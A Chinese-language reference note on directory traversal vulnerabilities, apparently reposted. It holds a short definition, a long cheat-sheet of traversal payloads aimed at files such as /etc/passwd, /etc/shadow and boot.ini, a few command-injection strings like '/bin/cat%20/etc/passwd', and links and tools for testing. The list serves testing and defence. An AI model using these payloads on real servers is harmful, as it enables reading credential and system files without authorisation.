目录遍历以及特殊字符

转自 xxx.com

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基本定义：
    目录遍历(或路径遍历)(directory traversal/path traversal)是由于Web服务器或Web应用程序对用户输入文件名称的安全性验证不足而导致的一种安全漏洞，使得攻击者通过HTTP请求和利用一些特殊字符就可以绕过服务器的安全限制，访问任意受限的文件(可以是Web根目录以外的文件)，甚至执行系统命令。

可能导致路径遍历一些特殊字符：

• ..
• ..\
• ../
• %2e%2e%2f which translates to ../
• %2e%2e/ which translates to ../
• ..%2f which translates to ../
• %2e%2e%5c which translates to ..\
• %c1%1c
• %c0%9v
• %c0%af
• ..%5c../
• ../../../../../../../../../../../../etc/hosts%00
• ../../../../../../../../../../../../etc/hosts
• ../../boot.ini
• /../../../../../../../../%2A
• ../../../../../../../../../../../../etc/passwd%00
• ../../../../../../../../../../../../etc/passwd
• ../../../../../../../../../../../../etc/shadow%00
• ../../../../../../../../../../../../etc/shadow
• /../../../../../../../../../../etc/passwd^^
• /../../../../../../../../../../etc/shadow^^
• /../../../../../../../../../../etc/passwd
• /../../../../../../../../../../etc/shadow
• /./././././././././././etc/passwd
• /./././././././././././etc/shadow
• \..\..\..\..\..\..\..\..\..\..\etc\passwd
• \..\..\..\..\..\..\..\..\..\..\etc\shadow
• ..\..\..\..\..\..\..\..\..\..\etc\passwd
• ..\..\..\..\..\..\..\..\..\..\etc\shadow
• /..\../..\../..\../..\../..\../..\../etc/passwd
• /..\../..\../..\../..\../..\../..\../etc/shadow
• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
• .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow
• \..\..\..\..\..\..\..\..\..\..\etc\passwd%00
• \..\..\..\..\..\..\..\..\..\..\etc\shadow%00
• ..\..\..\..\..\..\..\..\..\..\etc\passwd%00
• ..\..\..\..\..\..\..\..\..\..\etc\shadow%00
• %0a/bin/cat%20/etc/passwd
• %0a/bin/cat%20/etc/shadow
• %00/etc/passwd%00
• %00/etc/shadow%00
• %00../../../../../../etc/passwd
• %00../../../../../../etc/shadow
• /../../../../../../../../../../../etc/passwd%00.jpg
• /../../../../../../../../../../../etc/passwd%00.html
• /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd
• /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow
• /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
• /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow
• %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
• /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
• %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%00
• %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%255cboot.ini
• /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini
• \\'/bin/cat%20/etc/passwd\\'
• \\'/bin/cat%20/etc/shadow\\'
• ../../../../../../../../conf/server.xml
• /../../../../../../../../bin/id|
• C:/inetpub/wwwroot/global.asa
• C:\inetpub\wwwroot\global.asa
• C:/boot.ini
• C:\boot.ini
• ../../../../../../../../../../../../localstart.asp%00
• ../../../../../../../../../../../../localstart.asp
• ../../../../../../../../../../../../boot.ini%00
• ../../../../../../../../../../../../boot.ini
• /./././././././././././boot.ini
• /../../../../../../../../../../../boot.ini%00
• /../../../../../../../../../../../boot.ini
• /..\../..\../..\../..\../..\../..\../boot.ini
• /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
• \..\..\..\..\..\..\..\..\..\..\boot.ini
• ..\..\..\..\..\..\..\..\..\..\boot.ini%00
• ..\..\..\..\..\..\..\..\..\..\boot.ini
• /../../../../../../../../../../../boot.ini%00.html
• /../../../../../../../../../../../boot.ini%00.jpg
• /.../.../.../.../.../
• ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
• /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini

相关文章：

• 维基百科关于目录遍历的文章 >> http://en.wikipedia.org/wiki/Directory_traversal
• Directory Traversal Attacks >> http://www.acunetix.com/websitesecurity/directory-traversal.htm
• Testing for Directory Traversal - OWASP >> http://www.owasp.org/index.php/Testing_for_Path_Traversal

目录/路径遍历工具：

• String searcher "grep" - The grep command searches one or more input files for lines containing a match to a specified pattern.
• IIS Lockdown Tool - To provide in-depth defense or multiple layers of protection against an attacker, URLscan, with customized templates for each supported server role, has been integrated into the IIS Lockdown Tool.
• evilarc.py - Create archive containing a file with directory traversal.